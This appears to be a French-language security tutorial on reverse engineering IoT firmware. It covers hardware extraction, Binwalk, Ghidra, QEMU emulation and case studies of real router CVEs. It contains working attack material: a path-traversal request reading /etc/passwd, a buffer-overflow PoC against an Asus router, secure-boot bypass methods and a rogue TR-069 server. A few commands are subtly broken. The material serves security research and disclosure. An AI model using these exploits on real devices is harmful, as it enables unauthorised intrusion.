L'Internet des Objets représente aujourd'hui la surface d'attaque la plus sous-estimée de l'industrie informatique : des milliards de dispositifs embarquent des systèmes d'exploitation complets, des serveurs web, des stacks cryptographiques et des interfaces réseau, le tout compilé pour des architectures.
L'Internet des Objets représente aujourd'hui la surface d'attaque la plus sous-estimée de l'industrie informatique : des milliards de dispositifs embarquent des systèmes d'exploitation complets, des serveurs web, des stacks cryptographiques et des interfaces réseau, le tout compilé pour des architectures MIPS, ARM, PowerPC ou RISC-V par des équipes de développement dont la priorité est le time-to-market plutôt que la sécurité. Le reverse engineering de firmware IoT est la discipline qui permet d'extraire, d'analyser et de comprendre le code embarqué dans ces dispositifs afin d'identifier les vulnérabilités avant qu'elles ne soient exploitées par des acteurs malveillants. Cette démarche couvre l'extraction physique du firmware via des interfaces hardware comme le bus SPI, l'UART ou le JTAG, l'analyse automatisée avec Binwalk pour identifier les systèmes de fichiers et les composants embarqués, la décompilation et le reverse engineering statique avec Ghidra, et l'émulation dynamique avec QEMU pour exécuter le firmware dans un environnement contrôlé sans le matériel physique. Les vulnérabilités découvertes via ces techniques — credentials hardcodés, buffer overflows dans les parseurs réseau, absence de secure boot, backdoors de débogage laissées en production — ont conduit à des CVE critiques affectant des dizaines de millions de dispositifs déployés en infrastructure critique.
Architecture des systèmes embarqués IoT
Avant d'aborder les techniques de reverse engineering, comprendre l'architecture typique d'un dispositif IoT est indispensable. La majorité des routeurs, caméras IP, thermostats connectés et équipements industriels suivent un schéma architectural similaire.
Composants matériels typiques
| Composant | Rôle | Exemples courants | Intérêt pour le RE |
|---|---|---|---|
| SoC (System on Chip) | CPU + périphériques intégrés | Broadcom BCM63xx, Mediatek MT7621, Qualcomm IPQ | Détermine l'architecture ISA |
| Flash NOR/NAND | Stockage du firmware | Winbond W25Q128, Macronix MX25L | Source principale du firmware |
| DRAM | Mémoire d'exécution | DDR3/DDR4 128MB-1GB | Dump mémoire pour analysis dynamique |
| Port UART | Console série de débogage | 3.3V TTL (pins TX, RX, GND) | Accès root shell en développement |
| Interface JTAG | Debug hardware | 20 pins standard, OpenOCD | Debug en profondeur, dump RAM |
| Bus SPI | Communication flash | 4 pins (MOSI, MISO, CLK, CS) | Dump direct de la flash NOR |
Extraction du firmware : méthodes et outils
L'extraction du firmware est la première étape critique du reverse engineering. Plusieurs méthodes sont disponibles selon les contraintes matérielles et les protections présentes.
Extraction depuis le site du fabricant
La méthode la plus simple — et souvent oubliée — est de télécharger directement le firmware depuis le site du fabricant ou via des portails de mise à jour. Beaucoup de fabricants exposent leurs firmwares sans authentification.
Mise en pratique
# Téléchargement d'un firmware depuis les CDN fabricants
wget "https://www.tp-link.com/us/support/download/archer-c7/#Firmware" \
-O firmware-tp-link.html
# Extraction des URLs de firmware depuis la page
grep -oP 'https://[^"]+\.bin' firmware-tp-link.html | sort -u
# Téléchargement direct
wget "https://static.tp-link.com/2023/202309/ArcherC7v5_US_5.3_230831.zip" \
-O firmware.zip
unzip firmware.zip
# Vérification de l'intégrité (si MD5/SHA fourni)
md5sum ArcherC7v5_US_5.3_230831.bin
Extraction UART : accès à la console série
L'UART (Universal Asynchronous Receiver-Transmitter) est présent sur la quasi-totalité des dispositifs IoT pour le débogage. Les broches sont souvent accessibles sur le PCB sous forme de pads non peuplés.
# Identification des broches UART avec un multimètre
# TX: signal qui change au démarrage (mesurer à l'oscilloscope ou avec picocom)
# RX: accepte l'entrée (généralement adjacent à TX)
# GND: masse (continuité avec la masse du chassis)
# VCC: 3.3V (NE PAS CONNECTER — juste identifier)
# Connexion avec USB-TTL adapter (CH340, CP2102, FT232RL)
# Adapter PC side: /dev/ttyUSB0 ou /dev/ttyACM0
# Baud rates communs: 115200, 57600, 38400, 9600
# Détection automatique du baud rate
for baud in 115200 57600 38400 19200 9600 4800; do
echo "Test baud: $baud"
timeout 3 picocom -b $baud /dev/ttyUSB0 2>/dev/null | head -5
done
# Connexion au port série
picocom -b 115200 --flow=none /dev/ttyUSB0
# Alternative avec screen
screen /dev/ttyUSB0 115200
# Si bootloader U-Boot accessible: dump depuis UART
# Pendant le boot, appuyer sur une touche pour interrompre U-Boot
# Dans U-Boot:
# > printenv (liste les variables d'environnement)
# > md 0x80000000 0x100 (dump mémoire en hex)
# > sf probe; sf read 0x80000000 0x0 0x1000000; md 0x80000000
Extraction SPI flash : dump hardware direct
Lorsque l'UART ne donne pas accès aux données du firmware ou que le bootloader est verrouillé, l'extraction directe via le bus SPI est la méthode la plus fiable.
# Matériel requis:
# - CH341A programmer (USB SPI/I2C programmer, ~5€)
# - Clip SOIC8 pour connexion sans déssoudage
# - flashrom (outil open source pour programmateurs flash)
# Installation flashrom
sudo apt-get install flashrom
# Identification de la puce flash
sudo flashrom -p ch341a_spi
# Output typique:
# Found Winbond flash chip "W25Q128.V" (16384 kB, SPI) on ch341a_spi.
# Dump du firmware (3 fois pour vérifier la cohérence)
for i in 1 2 3; do
sudo flashrom -p ch341a_spi -r firmware_dump_$i.bin
done
# Vérification de la cohérence des dumps
md5sum firmware_dump_*.bin
# Si identiques → dump fiable
# Copie du firmware pour analyse
cp firmware_dump_1.bin firmware_original.bin
Extraction JTAG avec OpenOCD
# Configuration OpenOCD pour interface JTAG
# openocd.cfg
cat > openocd.cfg << 'EOF'
source [find interface/jlink.cfg]
source [find target/mips_mips32.cfg]
# Fréquence JTAG (commencer lent)
adapter speed 1000
# Target MIPS pour routeur Broadcom
set CHIPNAME bcm6318
set ENDIAN big
init
halt
EOF
# Démarrage OpenOCD
sudo openocd -f openocd.cfg &
# Connexion via telnet
telnet localhost 4444
# Dans OpenOCD:
# > halt
# > mdw 0xb0000000 0x100 (read memory words)
# > dump_image firmware_jtag.bin 0xbfc00000 0x400000
# Dump complet de la RAM
# > dump_image ram_dump.bin 0x80000000 0x4000000
Extraction firmware : hiérarchie des méthodes
- Toujours commencer par les sources légitimes (site fabricant, mise à jour OTA capturée) avant d'ouvrir le dispositif
- L'UART est souvent la voie d'accès la plus rapide — identifier les pads sur le PCB avant de brancher quoi que ce soit
- Le CH341A avec clip SOIC8 permet un dump SPI en moins de 10 minutes sans déssoudage
- Faire 3 dumps identiques avant de procéder à l'analyse — un dump corrompu conduit à des faux résultats
Binwalk : analyse automatisée du firmware
Binwalk est l'outil de référence pour l'analyse automatisée des firmwares IoT. Il identifie les signatures de fichiers, les systèmes de fichiers embarqués, les archives compressées, les en-têtes de systèmes d'exploitation, et extrait automatiquement les composants reconnus.
Mise en pratique
Installation et configuration
# Installation depuis les sources (version récente)
git clone https://github.com/ReFirmLabs/binwalk.git
cd binwalk
sudo python3 setup.py install
# Dépendances pour l'extraction complète
sudo apt-get install -y \
squashfs-tools \ # SquashFS extraction
cramfsprogs \ # CramFS extraction
sasquatch \ # SquashFS non-standard variants
jefferson \ # JFFS2 extraction
ubireader \ # UBI/UBIFS extraction
zlib1g-dev \
liblzma-dev \
liblzo2-dev
# Optionnel: analyse avancée
pip3 install capstone # Désassemblage
pip3 install matplotlib # Graphiques d'entropie
Analyse d'un firmware de routeur
# Analyse initiale — identification des composants
binwalk firmware.bin
# Output typique:
# DECIMAL HEXADECIMAL DESCRIPTION
# 0 0x0 TRX firmware header, little endian
# 28 0x1C LZMA compressed data (kernel)
# 1245184 0x130000 Squashfs filesystem, little endian, version 4.0
# 1245184 0x130000 Squashfs filesystem (LZMA), ...
# Analyse de l'entropie (détecter chiffrement/compression)
binwalk -E firmware.bin
# L'entropie proche de 1.0 sur de grandes zones indique:
# - Chiffrement (firmware chiffré)
# - Compression (normal pour kernel/rootfs)
# L'entropie ~0.5-0.7 indique des données structurées lisibles
# Extraction récursive complète
binwalk -e -r -M firmware.bin --directory=./extracted/
# Option -e: extraction
# Option -r: récursif (extraire dans les archives extraites)
# Option -M: analyse matryoshka (firmware dans firmware)
# Résultat de l'extraction
ls -la extracted/_firmware.bin.extracted/
# 0.7z squashfs-root/ ...
ls -la extracted/_firmware.bin.extracted/squashfs-root/
# bin/ dev/ etc/ lib/ mnt/ proc/ sbin/ tmp/ usr/ var/
Analyse du système de fichiers extrait
#!/bin/bash
# firmware-analysis.sh — Analyse automatisée post-extraction
SQUASHFS_ROOT="./extracted/_firmware.bin.extracted/squashfs-root"
echo "=== ANALYSE FIRMWARE SÉCURITÉ ==="
echo ""
# 1. Identification de l'OS et de la version
echo "[1] Identification du système:"
cat "$SQUASHFS_ROOT/etc/openwrt_release" 2>/dev/null || \
cat "$SQUASHFS_ROOT/etc/os-release" 2>/dev/null || \
strings "$SQUASHFS_ROOT/bin/busybox" | grep -i "busybox v"
# 2. Recherche de credentials hardcodés
echo ""
echo "[2] Credentials hardcodés:"
grep -r "password\|passwd\|secret\|key\|token" \
"$SQUASHFS_ROOT/etc/" \
--include="*.conf" \
--include="*.cfg" \
--include="*.ini" \
-l 2>/dev/null
# Recherche dans /etc/passwd et /etc/shadow
cat "$SQUASHFS_ROOT/etc/passwd" 2>/dev/null
cat "$SQUASHFS_ROOT/etc/shadow" 2>/dev/null
# 3. Binaires avec SUID/SGID
echo ""
echo "[3] Binaires SUID/SGID:"
find "$SQUASHFS_ROOT" -perm /6000 -type f 2>/dev/null
# 4. Scripts de démarrage
echo ""
echo "[4] Services au démarrage:"
ls "$SQUASHFS_ROOT/etc/init.d/" 2>/dev/null
# 5. Clés SSH hardcodées
echo ""
echo "[5] Clés SSH embarquées:"
find "$SQUASHFS_ROOT" -name "*.pem" -o -name "*.key" \
-o -name "id_rsa" -o -name "authorized_keys" 2>/dev/null
# 6. Certificats TLS
echo ""
echo "[6] Certificats TLS embarqués:"
find "$SQUASHFS_ROOT" -name "*.crt" -o -name "*.cer" \
-o -name "*.p12" -o -name "*.pfx" 2>/dev/null
# 7. Serveur web embarqué
echo ""
echo "[7] Serveur web:"
find "$SQUASHFS_ROOT" -name "httpd" -o -name "lighttpd" \
-o -name "uhttpd" -o -name "nginx" 2>/dev/null
# 8. Analyse des strings intéressantes
echo ""
echo "[8] URLs et endpoints hardcodés:"
find "$SQUASHFS_ROOT" -type f -executable | while read bin; do
strings "$bin" 2>/dev/null | grep -iE \
'https?://|ftp://|/api/|/admin|password|secret' \
| grep -v "^#" | head -5
done 2>/dev/null | sort -u | head -50
Cas réel : CVE-2023-1389 (TP-Link AX21)
La CVE-2023-1389 est une injection de commande non authentifiée dans l'interface de gestion de routeurs TP-Link Archer AX21. Voici comment une telle vulnérabilité se découvre via l'analyse de firmware :
# Extraction du firmware TP-Link AX21
binwalk -e AX21_firmware.bin --directory=./ax21_extracted/
# Localisation du serveur web et de ses CGI
find ./ax21_extracted/ -name "*.cgi" -o -name "httpd" 2>/dev/null
# Analyse des handlers web
strings ./ax21_extracted/squashfs-root/usr/bin/httpd | grep -i "country\|locale\|lang"
# Résultat indique que le paramètre "country" est passé directement à system()
# Snippet typique de code vulnérable (reconstitué):
# sprintf(cmd, "iwpriv ath0 setCountry %s", country_param);
# system(cmd);
# → country_param n'est pas sanitisé → injection de commande
# Vérification de la fonction vulnérable via Ghidra
# La fonction handle_country_setting appelle directement system() avec
# un paramètre contrôlé par l'utilisateur via la requête HTTP POST
Ghidra : reverse engineering statique du firmware
Ghidra est le framework de reverse engineering développé par la NSA et publié en open source en 2019. Il supporte les architectures MIPS, ARM, PowerPC, x86 et une douzaine d'autres — parfait pour les firmwares IoT qui utilisent principalement MIPS (big/little endian) et ARM.
Mise en pratique
Configuration de Ghidra pour un firmware MIPS
# Installation
wget https://github.com/NationalSecurityAgency/ghidra/releases/download/Ghidra_10.4_build/ghidra_10.4_PUBLIC_20230928.zip
unzip ghidra_10.4_PUBLIC_20230928.zip
cd ghidra_10.4_PUBLIC
./ghidraRun
# Import du firmware depuis la CLI (headless)
./support/analyzeHeadless /tmp/ghidra_projects MyFirmwareProject \
-import ./squashfs-root/usr/bin/httpd \
-processor MIPS:BE:32:default \ # MIPS big-endian 32 bits
-cspec default \
-postScript FindVulnerabilities.java \
-log ./ghidra_analysis.log
Script Ghidra pour la détection automatisée de fonctions dangereuses
// FindDangerousFunctions.java — Script Ghidra (API Java)
import ghidra.app.script.GhidraScript;
import ghidra.program.model.listing.*;
import ghidra.program.model.symbol.*;
import java.util.*;
public class FindDangerousFunctions extends GhidraScript {
// Fonctions dangereuses dans les binaires C embarqués
private static final String[] DANGEROUS_FUNCTIONS = {
"system", // OS command injection
"popen", // OS command injection
"execl", "execv", "execve", // Process execution
"gets", // Buffer overflow (déprécié)
"strcpy", // Buffer overflow (non vérifié)
"strcat", // Buffer overflow
"sprintf", // Format string / buffer overflow
"scanf", // Buffer overflow
"sscanf",
"vsprintf",
"memcpy", // Buffer overflow (si taille non vérifiée)
"strncpy", // Still risky if used wrong
};
@Override
public void run() throws Exception {
SymbolTable symbolTable = currentProgram.getSymbolTable();
FunctionManager funcMgr = currentProgram.getFunctionManager();
println("=== ANALYSE DES FONCTIONS DANGEREUSES ===\n");
for (String dangFunc : DANGEROUS_FUNCTIONS) {
SymbolIterator iter = symbolTable.getSymbols(dangFunc);
while (iter.hasNext()) {
Symbol sym = iter.next();
if (sym.getSymbolType() == SymbolType.FUNCTION) {
Function func = funcMgr.getFunctionAt(sym.getAddress());
println("[!] Fonction dangereuse: " + dangFunc);
println(" Adresse: " + sym.getAddress());
// Trouver tous les appelants
ReferenceManager refMgr = currentProgram.getReferenceManager();
ReferenceIterator refs = refMgr.getReferencesTo(sym.getAddress());
int callCount = 0;
while (refs.hasNext()) {
Reference ref = refs.next();
Function callerFunc = funcMgr.getFunctionContaining(
ref.getFromAddress());
if (callerFunc != null) {
println(" Appelé depuis: " + callerFunc.getName() +
" @ " + ref.getFromAddress());
callCount++;
}
}
println(" Total appels: " + callCount + "\n");
}
}
}
}
}
Analyse d'un buffer overflow dans un daemon MIPS
# Analyse avec radare2 (alternative à Ghidra pour les scripts)
r2 -A ./squashfs-root/usr/sbin/telnetd
# Dans r2:
# Lister toutes les fonctions
[0x00400000]> afl
# Chercher les appels à strcpy/gets
[0x00400000]> axt sym.strcpy
# Analyser la fonction get_config_value
[0x00400000]> s sym.get_config_value
[0x00400000]> pdf
# Output désassembly MIPS (exemple de fonction vulnérable):
# 0x004023a0 addiu sp, sp, -0x108 ; allocation stack 264 bytes
# 0x004023a4 sw ra, 0x104(sp)
# 0x004023a8 sw a0, 0x108(sp) ; argument 'name' sauvé
# 0x004023ac lw a0, (a0) ; charge la valeur de name
# 0x004023b0 la a1, 0x00406000 ; buffer de 256 bytes sur stack
# 0x004023b4 jal sym.strcpy ; VULN: copie sans vérif longueur
# La valeur de 'name' peut dépasser 264 bytes → overflow du return address
Identification des credentials hardcodés via Ghidra
#!/usr/bin/env python3
"""
firmware_creds_hunter.py — Extraction de credentials depuis un firmware décompressé
"""
import os
import re
import subprocess
from pathlib import Path
# Patterns de credentials
PATTERNS = {
"password_var": re.compile(
r'(password|passwd|secret|pwd|api_key|auth_token)\s*[=:]\s*["\']([^"\']{4,64})["\']',
re.IGNORECASE
),
"basic_auth_b64": re.compile(
r'Basic\s+([A-Za-z0-9+/]{10,}={0,2})'
),
"aws_access_key": re.compile(
r'AKIA[0-9A-Z]{16}'
),
"private_key_pem": re.compile(
r'-----BEGIN (RSA |EC )?PRIVATE KEY-----'
),
"mqtt_credentials": re.compile(
r'mqtt://([^:]+):([^@]+)@'
),
"hardcoded_ip_cred": re.compile(
r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[:/](\w+)[:/](\w{4,})'
),
}
def scan_binary_strings(binary_path: str) -> list[dict]:
"""Extrait les strings d'un binaire et cherche des credentials"""
findings = []
result = subprocess.run(
['strings', '-n', '8', binary_path],
capture_output=True, text=True, errors='replace'
)
for line in result.stdout.splitlines():
for pattern_name, pattern in PATTERNS.items():
matches = pattern.findall(line)
if matches:
findings.append({
"file": binary_path,
"pattern": pattern_name,
"match": str(matches[0]),
"context": line.strip()
})
return findings
def scan_firmware_rootfs(rootfs_path: str) -> None:
"""Scanne tous les fichiers d'un rootfs extrait"""
all_findings = []
rootfs = Path(rootfs_path)
for file_path in rootfs.rglob('*'):
if file_path.is_file():
try:
# Scan des fichiers texte
if file_path.suffix in ['.conf', '.cfg', '.json',
'.xml', '.sh', '.lua', '.py']:
content = file_path.read_text(errors='replace')
for name, pattern in PATTERNS.items():
for match in pattern.finditer(content):
all_findings.append({
"file": str(file_path),
"pattern": name,
"match": match.group(0),
"line": content.count('\n',
0, match.start()) + 1
})
# Scan des binaires via strings
elif file_path.stat().st_size < 50 * 1024 * 1024: # <50MB
findings = scan_binary_strings(str(file_path))
all_findings.extend(findings)
except Exception:
pass
# Affichage des résultats
print(f"\n=== CREDENTIALS HUNTER — {len(all_findings)} trouvaille(s) ===\n")
for finding in all_findings:
print(f"[{finding['pattern'].upper()}]")
print(f" Fichier : {finding['file']}")
print(f" Match : {finding['match']}")
print()
if __name__ == "__main__":
scan_firmware_rootfs("./squashfs-root")
Vulnérabilités les plus fréquentes dans les firmwares IoT
- Credentials hardcodés (admin/admin, root/root, ou mots de passe spécifiques au modèle) — présents dans plus de 50% des firmwares analysés selon l'OWASP IoT Top 10
- Clés SSH privées et certificats TLS auto-signés embarqués dans le firmware (identiques sur tous les dispositifs du même modèle)
- Buffer overflows dans les parseurs HTTP, UPNP, TR-069 — protocoles de gestion à distance
- Interfaces de débogage (Telnet, UART, JTAG) actives en production sans protection
Emulation QEMU : exécuter le firmware sans le matériel
L'émulation permet d'analyser dynamiquement un firmware — exécuter le code, observer son comportement, attacher un débogueur, fuzzer des interfaces réseau — sans avoir besoin du matériel physique. QEMU supporte les architectures MIPS, ARM, PowerPC et RISC-V utilisées dans les dispositifs IoT.
Emulation full-system avec QEMU MIPS
# Installation QEMU multi-architecture
sudo apt-get install -y \
qemu-system-mips \
qemu-system-arm \
qemu-user-static \
binfmt-support
# Préparation de l'environnement d'émulation
# Utilisation de Firmadyne (framework d'émulation IoT)
git clone --recursive https://github.com/firmadyne/firmadyne.git
cd firmadyne
# Configuration
sed -i 's|FIRMWARE_DIR=.*|FIRMWARE_DIR=/home/user/firmadyne/images|' firmae.config
# Extraction et émulation automatisée (Firmadyne)
sudo python3 sources/extractor/extractor.py \
-b TP-Link \
-sql 127.0.0.1 \
-np \
firmware.bin \
images/
# Émulation manuelle QEMU MIPS (méthode chroot)
# Copier qemu-mips-static dans le rootfs
sudo cp /usr/bin/qemu-mips-static ./squashfs-root/usr/bin/
# Monter les pseudo-systèmes de fichiers
sudo mount -o bind /proc ./squashfs-root/proc
sudo mount -o bind /dev ./squashfs-root/dev
sudo mount -o bind /sys ./squashfs-root/sys
# Chroot dans le rootfs (émulation user-space)
sudo chroot ./squashfs-root /bin/sh
# Maintenant dans l'environnement MIPS
uname -a
ls /etc/passwd
# Démarrage du serveur web embarqué
/usr/sbin/httpd -f -h /www -p 8080
Emulation réseau avec Firmadyne
# Émulation full-system avec réseau (Firmadyne)
# Crée une VM QEMU MIPS avec interfaces réseau
# Après l'extraction Firmadyne:
sudo ./scripts/inferNetwork.sh 1 # IID=1
sudo ./scripts/makeImage.sh 1
sudo ./scripts/run.sh 1
# Le dispositif émulé obtient une IP via DHCP
# Interface accessible via:
# - HTTP sur l'IP attribuée
# - Telnet si activé
# - UART via la console QEMU (Ctrl+A, C)
# Scan du dispositif émulé depuis l'hôte
nmap -sV -p- 192.168.0.100
# Test de l'interface web
curl -v http://192.168.0.100/
# Fuzzing de l'interface HTTP avec ffuf
ffuf -u http://192.168.0.100/FUZZ \
-w /usr/share/wordlists/dirb/common.txt \
-fc 404
Débogage dynamique avec GDB remote
# Attacher GDB à un processus dans l'environnement émulé
# Dans QEMU (gdbserver côté cible)
# Démarrer httpd avec gdbserver
qemu-mips -g 1234 ./squashfs-root/usr/sbin/httpd
# Sur l'hôte, connecter GDB cross-architecture
gdb-multiarch ./squashfs-root/usr/sbin/httpd
# Dans GDB:
(gdb) set architecture mips
(gdb) target remote localhost:1234
(gdb) set sysroot ./squashfs-root
(gdb) break *0x00402540 # Adresse de la fonction vulnérable
(gdb) commands
> info registers
> x/20wx $sp
> continue
> end
(gdb) run
# Avec pwndbg (extension GDB pour exploit dev)
python3 -m pip install pwntools
Bypass du Secure Boot
Le Secure Boot est un mécanisme de vérification cryptographique de l'intégrité du firmware au démarrage. Il est censé empêcher l'exécution de code non signé. Cependant, les implémentations IoT présentent souvent des failles dans ce mécanisme.
Techniques de bypass courantes
# Technique 1: Bypass via le bootloader U-Boot non verrouillé
# Si les variables d'environnement U-Boot sont modifiables:
# Dans U-Boot (accès UART):
# > printenv bootcmd
# bootcmd=bootm 0xbfc00000
#
# Modification pour démarrer depuis la RAM:
# > setenv bootcmd 'tftpboot 0x80000000 modified_firmware.bin; bootm 0x80000000'
# > saveenv
# Technique 2: JTAG bypass du secure boot
# Le JTAG permet d'arrêter l'exécution AVANT la vérification
# et de modifier les registres de statut du secure boot
# Technique 3: Glitching (fault injection)
# Injection de glitch sur l'alimentation ou l'horloge pendant la vérification
# Tools: ChipWhisperer, NewAE Technology
# La vérification de signature peut être sautée si le processeur
# exécute une instruction NOP au lieu du branch conditionnel
# Technique 4: Clé de débogage publique dans le firmware
# Certains fabricants laissent une clé de débogage (non-production)
# qui accepte des firmwares signés avec une clé de test
# Vérification des clés publiques embarquées
find ./squashfs-root -name "*.pem" -o -name "*.pub" | xargs openssl rsa -in {} -text 2>/dev/null
# Extraction des clés publiques depuis les binaires
binwalk -y certificate firmware.bin
binwalk -y rsa firmware.bin
Analyse de CVE réelles
L'étude de CVE documentées illustre concrètement les classes de vulnérabilités que le reverse engineering firmware permet de découvrir.
CVE-2021-20090 : Path Traversal dans des millions de routeurs
Cette CVE affecte les routeurs utilisant le SDK Arcadyan (Huawei, Vodafone, Orange, etc.). Un path traversal dans l'interface de gestion permet l'accès non authentifié aux fichiers de configuration.
# Découverte via analyse de firmware:
# Binwalk révèle un serveur uhttpd avec des handlers Lua
binwalk -e arcadyan_firmware.bin
# Analyse des handlers HTTP dans /usr/share/lua/
cat squashfs-root/usr/share/lua/arcadyan/web_handler.lua
# Vulnérabilité dans la normalisation des paths:
# La fonction get_file() ne normalise pas correctement les sequences ".."
# Exemple de code vulnérable (reconstitué):
# function get_file(path)
# local file = io.open("/www" .. path, "r") -- pas de validation
# if file then return file:read("*a") end
# end
# Exploitation:
curl http://router.local/images/../../../etc/passwd
# → Lit /etc/passwd (fichier hors de /www/)
# Le fichier /etc/passwd révèle les utilisateurs systèmes
# Le fichier /etc/config/system révèle les credentials d'administration
# Exploitation en chaîne avec CVE-2021-20091 (command injection post-auth):
# 1. Lire le token de session via path traversal (non-auth)
# 2. Utiliser le token pour accéder à l'interface d'admin
# 3. Injecter une commande via le champ "hostname"
CVE-2022-26376 : Buffer Overflow dans Asus router
# Analyse du firmware Asus RT-AX88U
# Binwalk révèle un binaire httpd basé sur Asuswrt (fork de DD-WRT)
# Identification de la fonction vulnérable via Ghidra:
# La fonction handle_request() dans httpd traite les headers HTTP
# Le header "Accept-Language" est copié dans un buffer fixe de 100 bytes
# sans vérification de longueur
# Preuve de concept (PoC) — ne pas utiliser sur des dispositifs sans autorisation
python3 -c "
import socket, time
# Construction du payload malformé
header = b'Accept-Language: ' + b'A' * 500 + b'\r\n'
request = b'GET / HTTP/1.1\r\nHost: 192.168.1.1\r\n' + header + b'\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.1', 80))
s.send(request)
time.sleep(1)
print(s.recv(1024))
s.close()
"
# L'overflow écrase le return address → crash → DoS
# Sur des firmwares plus anciens sans ASLR → RCE potentiel
Exploitation des services réseau embarqués
Les firmwares IoT embarquent souvent des serveurs UPnP, TR-069 (CWMP), SNMP, et des interfaces de gestion propriétaires — autant de surfaces d'attaque exploitables une fois la structure du firmware comprise.
Analyse du daemon TR-069
# TR-069 (CWMP) est le protocole de gestion à distance des CPE (routeurs FAI)
# Il est souvent exploitable car il s'authentifie auprès du serveur ACS du FAI
# Localisation du daemon dans le firmware
find ./squashfs-root -name "*cwmp*" -o -name "*tr069*" -o -name "tr69*" 2>/dev/null
# Analyse du binaire cwmpd
strings ./squashfs-root/usr/sbin/cwmpd | grep -i "acs\|url\|password\|username"
# Vulnérabilités TR-069 courantes:
# 1. L'URL ACS est en HTTP (pas HTTPS) → interception possible
# 2. Les credentials d'authentification TR-069 sont hardcodés
# 3. La validation du certificat TLS du serveur ACS est absente
# Simulation d'un serveur ACS malveillant (Man-in-the-Middle TR-069)
# Avec ACSpy:
git clone https://github.com/sebastienDOC/ACSpy.git
python3 ACSpy/server.py --port 7547
# L'ACS malveillant peut envoyer des commandes SetParameterValues
# pour modifier la configuration du routeur (DNS, NTP, etc.)
Fuzzing des interfaces réseau avec Boofuzz
#!/usr/bin/env python3
"""
fuzzer_http_iot.py — Fuzzing de l'interface HTTP d'un dispositif IoT
avec Boofuzz
"""
from boofuzz import *
def create_http_session(target_host: str, target_port: int):
session = Session(
target=Target(
connection=TCPSocketConnection(target_host, target_port),
),
sleep_time=0.5,
)
# Définition de la requête HTTP à fuzzer
s_initialize("HTTP-GET-Request")
# Méthode HTTP (statique)
s_static(b"GET ")
# Path — fuzzer cible
s_delim(b"/")
s_string(b"index.html", name="path")
s_static(b" HTTP/1.1\r\n")
# Headers à fuzzer
s_static(b"Host: ")
s_string(b"192.168.1.1", name="host")
s_static(b"\r\n")
s_static(b"User-Agent: ")
s_string(b"Mozilla/5.0", name="user-agent")
s_static(b"\r\n")
# Header vulnérable cible
s_static(b"Accept-Language: ")
s_string(b"en-US", name="accept-language",
max_len=2048) # Fuzzer jusqu'à 2048 bytes
s_static(b"\r\n")
s_static(b"Connection: close\r\n\r\n")
# Connexion du graphe
session.connect(s_get("HTTP-GET-Request"))
return session
def monitor_crash(target_host: str) -> bool:
"""Vérifie si le dispositif répond encore"""
import socket
try:
s = socket.socket()
s.settimeout(2)
s.connect((target_host, 80))
s.close()
return True
except:
print(f"[!] CRASH DÉTECTÉ sur {target_host}")
return False
if __name__ == "__main__":
TARGET = "192.168.1.1"
session = create_http_session(TARGET, 80)
session.fuzz()
Outils d'analyse binaire avancés
Comparatif des outils de reverse engineering
| Outil | Type | Architectures IoT | Points forts | Licence |
|---|---|---|---|---|
| Ghidra | Désassembleur/décompilateur | MIPS, ARM, PPC, RISC-V | Décompilateur C, scripting Java/Python, gratuit | Apache 2.0 |
| IDA Pro | Désassembleur/décompilateur | MIPS, ARM, PPC, RISC-V | Référence industrielle, plugins nombreux | Commercial (~3000€) |
| radare2 | Framework RE | MIPS, ARM, PPC, RISC-V | CLI puissant, scripting r2pipe, gratuit | LGPL v3 |
| Binary Ninja | Désassembleur/décompilateur | MIPS, ARM, x86 | API Python excellente, UI moderne | Commercial (299€/an) |
| Binwalk | Analyse firmware | N/A (analyse binaire) | Extraction automatisée, signatures | MIT |
| Firmwalker | Analyse statique rootfs | N/A | Spécifique IoT, detects credentials/keys | GPL |
FACT (Firmware Analysis and Comparison Tool)
# FACT est un framework d'analyse firmware complet et automatisé
git clone https://github.com/fkie-cad/FACT_core.git
cd FACT_core
# Installation avec Docker
sudo docker-compose up -d
# Interface web sur http://localhost:5000
# Upload d'un firmware via l'API REST
curl -X POST \
http://localhost:5000/rest/firmware \
-H "Content-Type: application/json" \
-d '{
"binary": "'$(base64 -w0 firmware.bin)'",
"file_name": "router_firmware.bin",
"device_name": "TP-Link Archer C7",
"device_class": "router",
"firmware_version": "5.3",
"vendor": "TP-Link"
}'
# Récupération des résultats d'analyse
curl http://localhost:5000/rest/analysis/{firmware_uid}/cpu_architecture
curl http://localhost:5000/rest/analysis/{firmware_uid}/known_vulnerabilities
curl http://localhost:5000/rest/analysis/{firmware_uid}/crypto_hints
Secure Boot et protections matérielles
Les fabricants responsables implémentent plusieurs couches de protection hardware contre le reverse engineering et la modification de firmware.
| Protection | Description | Bypass technique | Efficacité |
|---|---|---|---|
| Secure Boot | Vérification signature au boot | Glitching, JTAG bypass, clé debug | Moyenne (dépend impl.) |
| JTAG fuses | Interface JTAG désactivée en prod | Soudure de pads, glitching | Haute |
| Chiffrement flash | Firmware chiffré sur la flash | Dump RAM pendant l'exécution | Haute (si clé protégée) |
| Code obfuscation | Code volontairement complexifié | Analyse sémantique, deobfuscation | Faible (ralentit seulement) |
| Anti-debug | Détection du debugging | Patch des vérifications, timing | Faible |
| Secure Enclave (TEE) | Zone sécurisée ARM TrustZone | Très difficile sans bug TEE | Très haute |
Responsible Disclosure et cadre légal
Le reverse engineering de firmware IoT est soumis à un cadre légal important. En France, la loi LCEN et le Code pénal encadrent strictement les activités de sécurité informatique.
Cadre légal du reverse engineering en France
L'article L122-6-1 du Code de la propriété intellectuelle autorise le décompilage dans des conditions précises : pour assurer l'interopérabilité, par un utilisateur légitime du logiciel, dans des limites nécessaires. La directive européenne sur le secret des affaires peut s'appliquer si les techniques d'extraction révèlent des informations confidentielles du fabricant.
Mise en pratique
Pour un chercheur en sécurité, le cadre légal recommandé est :
- Ne travailler que sur des dispositifs achetés légitimement et vous appartenant
- Ne pas exploiter les vulnérabilités découvertes sur des systèmes de production tiers
- Contacter le fabricant via un programme de responsible disclosure (PSIRT)
- Respecter un embargo raisonnable (90 jours, aligné sur la politique Google Project Zero)
- Coordonner la divulgation avec le CERT/CC ou le CERT-FR si la vulnérabilité affecte des infrastructures critiques
## Template de Rapport de Vulnérabilité IoT (Responsible Disclosure)
**À:** security@vendor.com / PSIRT
**Objet:** [VULNERABILITY REPORT] Buffer Overflow in PRODUCT firmware v1.2
### Résumé
Type: Buffer Overflow (CWE-121: Stack-based Buffer Overflow)
Sévérité: Critique (CVSS 3.1 Score: 9.8 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
